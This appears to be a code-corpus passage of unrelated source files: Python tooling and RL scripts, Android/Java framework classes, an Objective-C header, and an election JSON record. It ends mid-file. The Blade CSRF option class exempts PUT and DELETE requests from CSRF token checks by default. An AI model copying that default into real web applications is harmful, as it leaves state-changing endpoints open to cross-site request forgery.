fixed_str: str = None
was_fixed: bool = False
def get_msg_str(self) -> str:
if (self.is_error and not self.was_fixed):
return make_error_msg(
self.file,
self.line,
self.msg + (". Fixed!" if self.was_fixed else ""))
else:
return make_warn_msg(
self.file,
self.line,
self.msg + (". Fixed!" if self.was_fixed else ""))
def make_msg(err_or_warn: str, file: str, line: int, msg: str):
"""
Formats the error message with a file and line number that can be used by
IDEs to quickly go to the exact line
"""
return "{}: {}:{}, {}".format(err_or_warn, file, line, msg)
def make_error_msg(file: str, line: int, msg: str):
return make_msg("ERROR", file, line, msg)
def make_warn_msg(file: str, line: int, msg: str):
return make_msg("WARN", file, line, msg)
def list_all_source_file(file_regex, srcdirs):
all_files = []
for srcdir in srcdirs:
for root, dirs, files in os.walk(srcdir):
for f in files:
if re.search(file_regex, f):
src = os.path.join(root, f)
all_files.append(src)
return all_files
def rel_include_warnings(dir, src, line_num, inc_file,
top_inc_dirs) -> typing.List[Issue]:
warn: typing.List[Issue] = []
inc_folders = inc_file.split(os.path.sep)[:-1]
inc_folders_alt = inc_file.split(os.path.altsep)[:-1]
if len(inc_folders) != 0 and len(inc_folders_alt) != 0:
w = "using %s and %s as path separators" % (os.path.sep,
os.path.altsep)
warn.append(Issue(False, w, src, line_num))
if len(inc_folders) == 0:
inc_folders = inc_folders_alt
abs_inc_folders = [
os.path.abspath(os.path.join(dir, *inc_folders[:i + 1]))
for i in range(len(inc_folders))
]
if os.path.curdir in inc_folders:
w = "rel include containing reference to current folder '{}'".format(
os.path.curdir)
warn.append(Issue(False, w, src, line_num))
if any(
any([os.path.basename(p) == f for f in top_inc_dirs])
for p in abs_inc_folders):
w = "rel include going over %s folders" % ("/".join(
"'" + f + "'" for f in top_inc_dirs))
warn.append(Issue(False, w, src, line_num))
if (len(inc_folders) >= 3 and os.path.pardir in inc_folders
and any(p != os.path.pardir for p in inc_folders)):
w = ("rel include with more than "
"2 folders that aren't in a straight heritage line")
warn.append(Issue(False, w, src, line_num))
return warn
def check_includes_in(src, inplace, top_inc_dirs) -> typing.List[Issue]:
issues: typing.List[Issue] = []
dir = os.path.dirname(src)
found_pragma_once = False
include_count = 0
# Read all lines
with io.open(src, encoding="utf-8") as file_obj:
lines = list(enumerate(file_obj))
for line_number, line in lines:
line_num = line_number + 1
match = IncludeRegex.search(line)
if match is None:
# Check to see if its a pragma once
if not found_pragma_once:
pragma_match = PragmaRegex.search(line)
if pragma_match is not None:
found_pragma_once = True
if include_count > 0:
issues.append(
Issue(
True,
"`#pragma once` must be before any `#include`",
src,
line_num))
continue
include_count += 1
val_type = match.group(2) # " or <
inc_file = match.group(3)
full_path = os.path.join(dir, inc_file)
if val_type == "\"" and not os.path.isfile(full_path):
new_line, n = IncludeRegex.subn(r"\1<\3>", line)
assert n == 1, "inplace only handles one include match per line"
issues.append(
Issue(True, "use #include <...>", src, line_num, new_line))
elif val_type == "<" and os.path.isfile(full_path):
new_line, n = IncludeRegex.subn(r'\1"\3"', line)
assert n == 1, "inplace only handles one include match per line"
issues.append(
Issue(True, "use #include \"...\"", src, line_num, new_line))
# output warnings for some cases
# 1. relative include containing current folder
# 2. relative include going over src / src_prims folders
# 3. relative include longer than 2 folders and containing
# both ".." and "non-.."
# 4. absolute include used but rel include possible without warning
if val_type == "\"":
issues += rel_include_warnings(dir,
src,
line_num,
inc_file,
top_inc_dirs)
if val_type == "<":
# try to make a relative import using the top folders
for top_folder in top_inc_dirs:
full_dir = os.path.abspath(dir)
fs = full_dir.split(os.path.sep)
fs_alt = full_dir.split(os.path.altsep)
if len(fs) <= 1:
fs = fs_alt
if top_folder not in fs:
continue
if fs[0] == "": # full dir was absolute
fs[0] = os.path.sep
full_top = os.path.join(*fs[:fs.index(top_folder) + 1])
full_inc = os.path.join(full_top, inc_file)
if not os.path.isfile(full_inc):
continue
new_rel_inc = os.path.relpath(full_inc, full_dir)
warn = rel_include_warnings(dir,
src,
line_num,
new_rel_inc,
top_inc_dirs)
if len(warn) == 0:
issues.append(
Issue(
False,
"absolute include could be transformed to relative",
src,
line_num,
f"#include \"{new_rel_inc}\"\n"))
else:
issues += warn
if inplace and len(issues) > 0:
had_fixes = False
for issue in issues:
if (issue.fixed_str is not None):
lines[issue.line - 1] = (lines[issue.line - 1][0],
issue.fixed_str)
issue.was_fixed = True
had_fixes = True
if (had_fixes):
with io.open(src, "w", encoding="utf-8") as out_file:
for _, new_line in lines:
out_file.write(new_line)
return issues
def main():
args = parse_args()
top_inc_dirs = args.top_include_dirs.split(',')
all_files = list_all_source_file(args.regex_compiled, args.dirs)
all_issues: typing.List[Issue] = []
errs: typing.List[Issue] = []
for f in all_files:
issues = check_includes_in(f, args.inplace, top_inc_dirs)
all_issues += issues
for i in all_issues:
if (i.is_error and not i.was_fixed):
errs.append(i)
else:
print(i.get_msg_str())
if len(errs) == 0:
print("include-check PASSED")
else:
print("include-check FAILED! See below for errors...")
for err in errs:
print(err.get_msg_str())
path_parts = os.path.abspath(__file__).split(os.sep)
print("You can run '{} --inplace' to bulk fix these errors".format(
os.sep.join(path_parts[path_parts.index("cpp"):])))
sys.exit(-1)
return
if __name__ == "__main__":
main()
| 5,323 |
631 | <gh_stars>100-1000
from typing import List, Tuple
from utility.camera import CameraPose
from utility.config import BaseConfig
from utility.types import ProcessRenderMode
class RecordingConfig(BaseConfig):
def __init__(self, name: str = None):
if name is None:
super().__init__("recording")
else:
super().__init__("recording", name)
self.set_defaults()
def set_defaults(self):
render_setting_items: List[Tuple[str, any]] = []
render_setting_items.extend([("screenshot_width", 1600),
("screenshot_height", 900),
("screenshot_mode", ProcessRenderMode.FINAL | ProcessRenderMode.NODE_ITERATIONS),
("camera_pose_final", CameraPose.UPPER_BACK_RIGHT),
("camera_pose_list", [CameraPose.UPPER_BACK_RIGHT]),
("camera_rotation", True),
("camera_rotation_speed", 0.5),
("class_list", [0])])
for key, value in render_setting_items:
self.setdefault(key, value)
self.store()
| 625 |
348 | <filename>docs/data/leg-t2/003/00302186.json<gh_stars>100-1000
{"nom":"Montmarault","circ":"2ème circonscription","dpt":"Allier","inscrits":956,"abs":481,"votants":475,"blancs":45,"nuls":31,"exp":399,"res":[{"nuance":"REM","nom":"<NAME>","voix":250},{"nuance":"LR","nom":"<NAME>","voix":149}]} | 116 |
453 | <gh_stars>100-1000
import gym
from tf2rl.algos.td3 import TD3
from tf2rl.experiments.trainer import Trainer
if __name__ == '__main__':
parser = Trainer.get_argument()
parser = TD3.get_argument(parser)
parser.add_argument('--env-name', type=str, default="Pendulum-v0")
parser.set_defaults(batch_size=100)
parser.set_defaults(n_warmup=10000)
args = parser.parse_args()
env = gym.make(args.env_name)
test_env = gym.make(args.env_name)
policy = TD3(
state_shape=env.observation_space.shape,
action_dim=env.action_space.high.size,
gpu=args.gpu,
memory_capacity=args.memory_capacity,
max_action=env.action_space.high[0],
batch_size=args.batch_size,
n_warmup=args.n_warmup)
trainer = Trainer(policy, env, args, test_env=test_env)
if args.evaluate:
trainer.evaluate_policy_continuously()
else:
trainer()
| 398 |
381 | import py
import platform
from rpython.translator.platform.arch.s390x import (s390x_cpu_revision,
extract_s390x_cpu_ids)
if platform.machine() != 's390x':
py.test.skip("s390x tests only")
def test_cpuid_s390x():
revision = s390x_cpu_revision()
assert revision != 'unknown', 'the model you are running on might be too old'
def test_read_processor_info():
ids = extract_s390x_cpu_ids("""
processor 0: machine = 12345
processor 1: version = FF, identification = AF
""".splitlines())
assert ids == [(0, None, None, 0x12345),
(1, 'FF', 'AF', 0),
]
| 255 |
1,851 | <filename>android/viro_bridge/src/main/java/com/viromedia/bridge/module/NodeModule.java
// Copyright © 2017 <NAME>. All rights reserved.
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
// IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
// CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
// TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
// SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package com.viromedia.bridge.module;
import android.view.View;
import com.facebook.react.bridge.Arguments;
import com.facebook.react.bridge.Promise;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.ReactMethod;
import com.facebook.react.bridge.ReadableArray;
import com.facebook.react.bridge.ReadableMap;
import com.facebook.react.bridge.WritableArray;
import com.facebook.react.bridge.WritableMap;
import com.facebook.react.uimanager.IllegalViewOperationException;
import com.facebook.react.uimanager.NativeViewHierarchyManager;
import com.facebook.react.uimanager.UIBlock;
import com.facebook.react.uimanager.UIManagerModule;
import com.facebook.react.module.annotations.ReactModule;
import com.viro.core.BoundingBox;
import com.viro.core.Matrix;
import com.viro.core.Object3D;
import com.viro.core.Quaternion;
import com.viro.core.Vector;
import com.viromedia.bridge.component.node.VRTNode;
import com.viro.core.Node;
import com.viromedia.bridge.component.node.control.VRT3DObject;
import java.util.Set;
import static java.lang.Math.toDegrees;
@ReactModule(name = "VRTNodeModule")
public class NodeModule extends ReactContextBaseJavaModule {
public NodeModule(ReactApplicationContext context) {
super(context);
}
@Override
public String getName() {
return "VRTNodeModule";
}
@ReactMethod
public void applyImpulse(final int viewTag, final ReadableArray force, final ReadableArray position) {
UIManagerModule uiManager = getReactApplicationContext().getNativeModule(UIManagerModule.class);
uiManager.addUIBlock(new UIBlock() {
@Override
public void execute(NativeViewHierarchyManager nativeViewHierarchyManager) {
View viroView = nativeViewHierarchyManager.resolveView(viewTag);
if (!(viroView instanceof VRTNode)){
throw new IllegalViewOperationException("Invalid view returned when applying force: expected a node-type control!");
}
if (force == null || force.size() != 3){
throw new IllegalViewOperationException("Invalid impulse force parameters provided!");
}
if (position != null && position.size() != 3){
throw new IllegalViewOperationException("Invalid impulse force position parameters provided!");
}
// If no offset is given, default to a central impulse.
float[] forcePosition = {0,0,0};
if (position != null){
forcePosition[0] = (float)position.getDouble(0);
forcePosition[1] = (float)position.getDouble(1);
forcePosition[2] = (float)position.getDouble(2);
}
float[] forceArray = { (float)force.getDouble(0), (float)force.getDouble(1), (float)force.getDouble(2)};
VRTNode nodeControl = (VRTNode) viroView;
nodeControl.applyImpulse(forceArray, forcePosition);
}
});
}
@ReactMethod
public void applyTorqueImpulse(final int viewTag, final ReadableArray torque) {
UIManagerModule uiManager = getReactApplicationContext().getNativeModule(UIManagerModule.class);
uiManager.addUIBlock(new UIBlock() {
@Override
public void execute(NativeViewHierarchyManager nativeViewHierarchyManager) {
View viroView = nativeViewHierarchyManager.resolveView(viewTag);
if (!(viroView instanceof VRTNode)){
throw new IllegalViewOperationException("Invalid view returned when applying force: expected a node-type control!");
}
if (torque == null || torque.size() != 3){
throw new IllegalViewOperationException("Invalid impulse torque params provided!");
}
float[] torqueArray = { (float)torque.getDouble(0), (float)torque.getDouble(1), (float)torque.getDouble(2)};
VRTNode nodeControl = (VRTNode) viroView;
nodeControl.applyTorqueImpulse(torqueArray);
}
});
}
@ReactMethod
public void setVelocity(final int viewTag, final ReadableArray velocity) {
UIManagerModule uiManager = getReactApplicationContext().getNativeModule(UIManagerModule.class);
uiManager.addUIBlock(new UIBlock() {
@Override
public void execute(NativeViewHierarchyManager nativeViewHierarchyManager) {
View viroView = nativeViewHierarchyManager.resolveView(viewTag);
if (!(viroView instanceof VRTNode)){
throw new IllegalViewOperationException("Invalid view returned when applying velocity: expected a node-type control!");
}
if (velocity == null || velocity.size() != 3){
throw new IllegalViewOperationException("Invalid velocity params provided!");
}
float[] velocityArray = { (float)velocity.getDouble(0), (float)velocity.getDouble(1), (float)velocity.getDouble(2)};
VRTNode nodeControl = (VRTNode) viroView;
nodeControl.setVelocity(velocityArray, false);
}
});
}
@ReactMethod
public void getNodeTransform(final int viewTag, final Promise promise)
{
UIManagerModule uiManager = getReactApplicationContext().getNativeModule(UIManagerModule.class);
uiManager.addUIBlock(new UIBlock() {
@Override
public void execute(NativeViewHierarchyManager nativeViewHierarchyManager) {
View viroView = nativeViewHierarchyManager.resolveView(viewTag);
VRTNode nodeView = (VRTNode) viroView;
if (!(viroView instanceof VRTNode)){
throw new IllegalViewOperationException("Invalid view, expected VRTNode!");
}
Node nodeJNI = nodeView.getNodeJni();
Matrix matrix = nodeJNI.getWorldTransformRealTime();
Vector scale = matrix.extractScale();
Vector position = matrix.extractTranslation();
Vector rotation = matrix.extractRotation(scale).toEuler();
WritableMap returnMap = Arguments.createMap();
WritableArray writablePosArray = Arguments.createArray();
writablePosArray.pushDouble(position.x);
writablePosArray.pushDouble(position.y);
writablePosArray.pushDouble(position.z);
WritableArray writableRotateArray = Arguments.createArray();
writableRotateArray.pushDouble(toDegrees(rotation.x));
writableRotateArray.pushDouble(toDegrees(rotation.y));
writableRotateArray.pushDouble(toDegrees(rotation.z));
WritableArray writeableScaleArray = Arguments.createArray();
writeableScaleArray.pushDouble(scale.x);
writeableScaleArray.pushDouble(scale.y);
writeableScaleArray.pushDouble(scale.z);
returnMap.putArray("position", writablePosArray);
returnMap.putArray("rotation", writableRotateArray);
returnMap.putArray("scale", writeableScaleArray);
promise.resolve(returnMap);
}
});
}
@ReactMethod
public void getBoundingBox(final int viewTag, final Promise promise)
{
UIManagerModule uiManager = getReactApplicationContext().getNativeModule(UIManagerModule.class);
uiManager.addUIBlock(new UIBlock() {
@Override
public void execute(NativeViewHierarchyManager nativeViewHierarchyManager) {
View viroView = nativeViewHierarchyManager.resolveView(viewTag);
VRTNode nodeView = (VRTNode) viroView;
if (!(viroView instanceof VRTNode)){
throw new IllegalViewOperationException("Invalid view, expected VRTNode!");
}
Node nodeJNI = nodeView.getNodeJni();
BoundingBox box = nodeJNI.getBoundingBox();
WritableMap returnMap = Arguments.createMap();
WritableMap boundingBoxMap = Arguments.createMap();
boundingBoxMap.putDouble("minX", box.minX);
boundingBoxMap.putDouble("maxX", box.maxX);
boundingBoxMap.putDouble("minY", box.minY);
boundingBoxMap.putDouble("maxY", box.maxY);
boundingBoxMap.putDouble("minZ", box.minZ);
boundingBoxMap.putDouble("maxZ", box.maxZ);
returnMap.putMap("boundingBox", boundingBoxMap);
promise.resolve(returnMap);
}
});
}
@ReactMethod
public void getMorphTargets(final int viewTag, final Promise promise) {
UIManagerModule uiManager = getReactApplicationContext().getNativeModule(UIManagerModule.class);
uiManager.addUIBlock(new UIBlock() {
@Override
public void execute(NativeViewHierarchyManager nativeViewHierarchyManager) {
View viroView = nativeViewHierarchyManager.resolveView(viewTag);
VRT3DObject nodeView = (VRT3DObject) viroView;
if (!(viroView instanceof VRT3DObject)) {
throw new IllegalViewOperationException("Invalid view, expected VRT3DObject!");
}
Object3D node = (Object3D)nodeView.getNodeJni();
Set<String> keys = node.getMorphTargetKeys();
WritableMap returnMap = Arguments.createMap();
WritableArray targets = Arguments.createArray();
for (String key : keys) {
targets.pushString(key);
}
returnMap.putArray("targets", targets);
promise.resolve(returnMap);
}
});
}
}
| 4,734 |
2,958 | package com.blade.security.web.csrf;
import com.blade.kit.StringKit;
import com.blade.mvc.RouteContext;
import com.blade.mvc.http.Request;
import com.blade.mvc.http.Response;
import lombok.*;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;
import java.util.function.Consumer;
import java.util.function.Function;
/**
* Csrf config
* <p>
* Created by biezhi on 11/07/2017.
*/
@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class CsrfOption {
static final Set<String> DEFAULT_IGNORE_METHODS = new HashSet<>(Arrays.asList("GET", "HEAD", "OPTIONS", "PUT", "DELETE"));
static final Consumer<RouteContext> DEFAULT_ERROR_HANDLER = context -> context.badRequest().text("CSRF token mismatch.");
static final Function<Request, String> DEFAULT_TOKEN_GETTER = request -> request.query("_token").orElseGet(() -> {
if (StringKit.isNotBlank(request.header("X-CSRF-TOKEN"))) {
return request.header("X-CSRF-TOKEN");
}
if (StringKit.isNotBlank(request.header("X-XSRF-TOKEN"))) {
return request.header("X-XSRF-TOKEN");
}
return "";
});
@Builder.Default
private Set<String> urlExclusions = new HashSet<>();
@Builder.Default
private Set<String> urlStartExclusions = new HashSet<>();
@Builder.Default
private Set<String> ignoreMethods = DEFAULT_IGNORE_METHODS;
@Builder.Default
private Consumer<RouteContext> errorHandler = DEFAULT_ERROR_HANDLER;
@Builder.Default
private Function<Request, String> tokenGetter = DEFAULT_TOKEN_GETTER;
public boolean isIgnoreMethod(String method) {
return ignoreMethods.contains(method);
}
public CsrfOption startExclusion(@NonNull String... urls) {
this.urlStartExclusions.addAll(Arrays.asList(urls));
return this;
}
public CsrfOption exclusion(@NonNull String... urls) {
this.urlExclusions.addAll(Arrays.asList(urls));
return this;
}
public boolean isStartExclusion(@NonNull String url) {
for (String excludeURL : urlStartExclusions) {
if (url.startsWith(excludeURL)) {
return true;
}
}
return false;
}
public boolean isExclusion(@NonNull String url) {
for (String excludeURL : this.urlExclusions) {
if (url.equals(excludeURL)) {
return true;
}
}
return false;
}
}
| 1,065 |
852 | <filename>RecoBTag/Skimming/python/btagMC_QCD_120_170_SkimPaths_cff.py
import FWCore.ParameterSet.Config as cms
from RecoBTag.Skimming.btagMC_QCD_120_170_cfi import *
btagMC_QCD_120_170Path = cms.Path(btagMC_QCD_120_170)
| 101 |
517 | <reponame>msercheli/openexr<gh_stars>100-1000
void
readGZ2 (const char fileName[],
Array2D<GZ> &pixels,
int &width, int &height)
{
InputFile file (fileName);
Box2i dw = file.header().dataWindow();
width = dw.max.x - dw.min.x + 1;
height = dw.max.y - dw.min.y + 1;
int dx = dw.min.x;
int dy = dw.min.y;
pixels.resizeErase (height, width);
FrameBuffer frameBuffer;
frameBuffer.insert ("G",
Slice (HALF,
(char *) &pixels[-dy][-dx].g,
sizeof (pixels[0][0]) * 1,
sizeof (pixels[0][0]) * width));
frameBuffer.insert ("Z",
Slice (FLOAT,
(char *) &pixels[-dy][-dx].z,
sizeof (pixels[0][0]) * 1,
sizeof (pixels[0][0]) * width));
file.setFrameBuffer (frameBuffer);
file.readPixels (dw.min.y, dw.max.y);
}
| 578 |
550 | <reponame>AppSecAI-TEST/restcommander<gh_stars>100-1000
/*
Copyright [2013-2014] eBay Software Foundation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package models.utils;
import java.util.HashMap;
import java.util.Map;
/**
*
* @author ypei
*
*/
public class ErrorMsgUtils {
public enum ERROR_TYPE {
TIMEOUT_EXCEPTION, CONNECTION_EXCEPTION
}
public static final Map<ERROR_TYPE, String> errorMapOrig = new HashMap<ERROR_TYPE, String>();
public static final Map<ERROR_TYPE, String> errorMapReplace = new HashMap<ERROR_TYPE, String>();
static {
errorMapOrig
.put(ERROR_TYPE.TIMEOUT_EXCEPTION,
"java.util.concurrent.TimeoutException: No response received after");
errorMapReplace
.put(ERROR_TYPE.TIMEOUT_EXCEPTION,
"TimeoutException-SocketTimeoutException. No response received after: CONNECTION_TIMEOUT after "
+ VarUtils.NING_FASTCLIENT_CONNECTION_TIMEOUT_MS
/ 1000 + "/" + VarUtils.NING_SLOWCLIENT_CONNECTION_TIMEOUT_MS
/ 1000
+ " SEC or REQUEST_TIMEOUT after "
+ VarUtils.NING_FASTCLIENT_REQUEST_TIMEOUT_MS
/ 1000+ "/" + VarUtils.NING_SLOWCLIENT_REQUEST_TIMEOUT_MS
/ 1000
+ " SEC.");
errorMapOrig.put(ERROR_TYPE.CONNECTION_EXCEPTION,
"java.net.ConnectException");
errorMapReplace.put(ERROR_TYPE.CONNECTION_EXCEPTION,
"java.net.ConnectException");
}
public static String replaceErrorMsg(String origMsg) {
String replaceMsg = origMsg;
for (ERROR_TYPE errorType : ERROR_TYPE.values()) {
if (origMsg.contains( errorMapOrig.get(errorType))) {
replaceMsg = errorMapReplace.get(errorType);
break;
}
}
return replaceMsg;
}
}
| 782 |
369 | /*
* Copyright © 2016 <NAME>, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package io.cdap.cdap.security.spi.authorization;
import io.cdap.cdap.api.security.AccessException;
import io.cdap.cdap.proto.security.GrantedPermission;
import io.cdap.cdap.proto.security.Principal;
import java.util.Set;
/**
* Fetches {@link GrantedPermission grants} of the specified {@link Principal}.
*/
public interface GrantFetcher {
/**
* Returns all the {@link GrantedPermission} for the specified {@link Principal}.
*
* @param principal the {@link Principal} for which to return privileges
* @return a {@link Set} of {@link GrantedPermission} for the specified principal
*/
Set<GrantedPermission> listGrants(Principal principal) throws AccessException;
}
| 367 |
460 | <filename>code/wxWidgets/include/wx/mac/treectrl.h
#ifdef __WXMAC_CLASSIC__
#include "wx/mac/classic/treectl.h"
#else
#include "wx/mac/carbon/treectrl.h"
#endif | 71 |
348 | <reponame>chamberone/Leaflet.PixiOverlay
{"nom":"<NAME>","circ":"4ème circonscription","dpt":"Ille-et-Vilaine","inscrits":848,"abs":390,"votants":458,"blancs":12,"nuls":2,"exp":444,"res":[{"nuance":"REM","nom":"<NAME>","voix":199},{"nuance":"FI","nom":"<NAME>","voix":78},{"nuance":"FN","nom":"<NAME>","voix":53},{"nuance":"SOC","nom":"<NAME>","voix":41},{"nuance":"LR","nom":"M. <NAME>","voix":28},{"nuance":"ECO","nom":"Mme <NAME>","voix":19},{"nuance":"DLF","nom":"Mme <NAME>","voix":11},{"nuance":"ECO","nom":"Mme <NAME>","voix":5},{"nuance":"EXG","nom":"Mme <NAME>","voix":4},{"nuance":"DVG","nom":"M. <NAME>","voix":4},{"nuance":"EXD","nom":"Mme <NAME>","voix":2},{"nuance":"DIV","nom":"Mme <NAME>","voix":0}]} | 297 |
563 | package com.gentics.mesh.metric;
import java.util.concurrent.atomic.AtomicLong;
import io.micrometer.core.instrument.Counter;
import io.micrometer.core.instrument.DistributionSummary;
import io.micrometer.core.instrument.MeterRegistry;
import io.micrometer.core.instrument.Timer;
/**
* Service which provides metric objects to collect metric data.
*/
public interface MetricsService {
/**
* Check whether the metrics system is enabled.
*
* @return
*/
boolean isEnabled();
/**
* Return the metric registry.
*
* @return
*/
MeterRegistry getMetricRegistry();
/**
* Return a micrometer meter for the key of the given metric.
*
* @param metric
* @return
*/
default DistributionSummary meter(Metric metric) {
return getMetricRegistry().summary(metric.key());
}
/**
* Return a micrometer timer for the key of the given metric.
*
* @param metric
* @return
*/
default Timer timer(Metric metric) {
return getMetricRegistry().timer(metric.key());
}
/**
* Return a micrometer counter for the key of the given metric.
*
* @param metric
* @return
*/
default Counter counter(Metric metric) {
return getMetricRegistry().counter(metric.key());
}
/**
* Return a micrometer long gauge for the key of the given metric.
*
* @param metric
* @return
*/
default AtomicLong longGauge(Metric metric) {
return getMetricRegistry().gauge(metric.key(), new AtomicLong(0));
}
}
| 479 |
1,233 | /*
* Copyright 2020 Netflix, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package io.mantisrx.connector.iceberg.sink.writer.factory;
import io.mantisrx.connector.iceberg.sink.writer.DefaultIcebergWriter;
import io.mantisrx.connector.iceberg.sink.writer.IcebergWriter;
import io.mantisrx.connector.iceberg.sink.writer.config.WriterConfig;
import io.mantisrx.runtime.WorkerInfo;
import org.apache.iceberg.Table;
import org.apache.iceberg.io.LocationProvider;
public class DefaultIcebergWriterFactory implements IcebergWriterFactory {
private final WriterConfig config;
private final WorkerInfo workerInfo;
private final Table table;
private final LocationProvider locationProvider;
public DefaultIcebergWriterFactory(
WriterConfig config,
WorkerInfo workerInfo,
Table table,
LocationProvider locationProvider) {
this.config = config;
this.workerInfo = workerInfo;
this.table = table;
this.locationProvider = locationProvider;
}
@Override
public IcebergWriter newIcebergWriter() {
return new DefaultIcebergWriter(config, workerInfo, table, locationProvider);
}
}
| 538 |
3,100 | <reponame>jpapadakis/gdal
#include "csf.h"
#include "csfimpl.h"
/* gis file id
* returns
* the "gis file id" field
*/
UINT4 MgetGisFileId(
const MAP *map) /* map handle */
{
CHECKHANDLE(map);
return(map->main.gisFileId);
}
| 102 |
678 | /**
* This header is generated by class-dump-z 0.2b.
*
* Source: /System/Library/PrivateFrameworks/Weather.framework/Weather
*/
#import <Weather/CLLocationManagerDelegate.h>
#import <Weather/XXUnknownSuperclass.h>
@class NSDate, CLLocationManager, NSTimer;
@interface WeatherLocationManager : XXUnknownSuperclass <CLLocationManagerDelegate> {
CLLocationManager *_locationManager; // 4 = 0x4
NSDate *_lastLocationTimeStamp; // 8 = 0x8
float _lastLocationAccuracy; // 12 = 0xc
id<CLLocationManagerDelegate> _delegate; // 16 = 0x10
BOOL _isTrackingLocationEnabled; // 20 = 0x14
NSTimer *_nonSLCLocationUpdateTimer; // 24 = 0x18
NSTimer *_accuracyFallbackTimer; // 28 = 0x1c
int _authorizationStatus; // 32 = 0x20
double _oldestAcceptedTime; // 36 = 0x24
double _lastLocationUpdateTime; // 44 = 0x2c
double _nextPlannedUpdate; // 52 = 0x34
BOOL _isTrackingLocation; // 60 = 0x3c
}
@property(retain, nonatomic) CLLocationManager *locationManager; // G=0xc41d; S=0xd211; @synthesize=_locationManager
@property(copy, nonatomic) NSDate *lastLocationTimeStamp; // G=0xc40d; S=0xd239; @synthesize=_lastLocationTimeStamp
@property(assign, nonatomic) float lastLocationAccuracy; // G=0xc3ed; S=0xc3fd; @synthesize=_lastLocationAccuracy
@property(assign, nonatomic) id<CLLocationManagerDelegate> delegate; // G=0xc3cd; S=0xc3dd; @synthesize=_delegate
@property(assign, nonatomic) BOOL isTrackingLocationEnabled; // G=0xc3ad; S=0xc3bd; @synthesize=_isTrackingLocationEnabled
@property(assign, nonatomic) int authorizationStatus; // G=0xc38d; S=0xc39d; @synthesize=_authorizationStatus
@property(assign, nonatomic) BOOL isTrackingLocation; // G=0xc36d; S=0xc37d; @synthesize=_isTrackingLocation
+ (id)sharedWeatherLocationManager; // 0xd1b9
- (void)_clearLastLocUpdateTime; // 0xc42d
- (void)forceLocationUpdate; // 0xc4b5
- (void)setLocationTrackingEnabled:(BOOL)enabled; // 0xcd0d
- (BOOL)loadAndPrepareLocationTrackingState; // 0xc4e5
- (void)_setUpLocationTimerWithInterval:(float)interval; // 0xc531
- (void)setLocationTrackingActive:(BOOL)active; // 0xc609
- (int)forceLoadingAuthorizationStatus; // 0xc839
- (void)_updateLocation:(id)location; // 0xc87d
- (BOOL)isLocalStaleOrOutOfDate; // 0xca95
- (void)locationManager:(id)manager didUpdateToLocation:(id)location fromLocation:(id)location3; // 0xcebd
- (void)locationManager:(id)manager didChangeAuthorizationStatus:(int)status; // 0xcb49
- (void)_cleanupAccuracyFallbackTimer; // 0xcbb5
- (void)_cleanupLocationTimer; // 0xcbf5
- (void)updateLocation:(id)location; // 0xcc49
- (double)_nextPlannedUpdate; // 0xc33d
- (double)_lastLocationUpdateTime; // 0xc355
// declared property getter: - (BOOL)isTrackingLocation; // 0xc36d
// declared property setter: - (void)setIsTrackingLocation:(BOOL)location; // 0xc37d
// declared property getter: - (int)authorizationStatus; // 0xc38d
// declared property setter: - (void)setAuthorizationStatus:(int)status; // 0xc39d
// declared property getter: - (BOOL)isTrackingLocationEnabled; // 0xc3ad
// declared property setter: - (void)setIsTrackingLocationEnabled:(BOOL)enabled; // 0xc3bd
// declared property getter: - (id)delegate; // 0xc3cd
// declared property setter: - (void)setDelegate:(id)delegate; // 0xc3dd
// declared property getter: - (float)lastLocationAccuracy; // 0xc3ed
// declared property setter: - (void)setLastLocationAccuracy:(float)accuracy; // 0xc3fd
// declared property getter: - (id)lastLocationTimeStamp; // 0xc40d
// declared property setter: - (void)setLastLocationTimeStamp:(id)stamp; // 0xd239
// declared property getter: - (id)locationManager; // 0xc41d
// declared property setter: - (void)setLocationManager:(id)manager; // 0xd211
@end
| 1,325 |
471 | import torch
import surreal.utils as U
#from surreal.utils.pytorch import GpuVariable as Variable
from surreal.session import PeriodicTracker
from surreal.model.q_net import build_ffqfunc
from .base import Learner
class DQNLearner(Learner):
def __init__(self, learner_config, env_config, session_config):
super().__init__(learner_config, env_config, session_config)
self.q_func, self.action_dim = build_ffqfunc(
self.learner_config,
self.env_config
)
self.algo = self.learner_config.algo
self.q_target = self.q_func.clone()
self.optimizer = torch.optim.Adam(
self.q_func.parameters(),
lr=self.algo.lr,
eps=1e-4
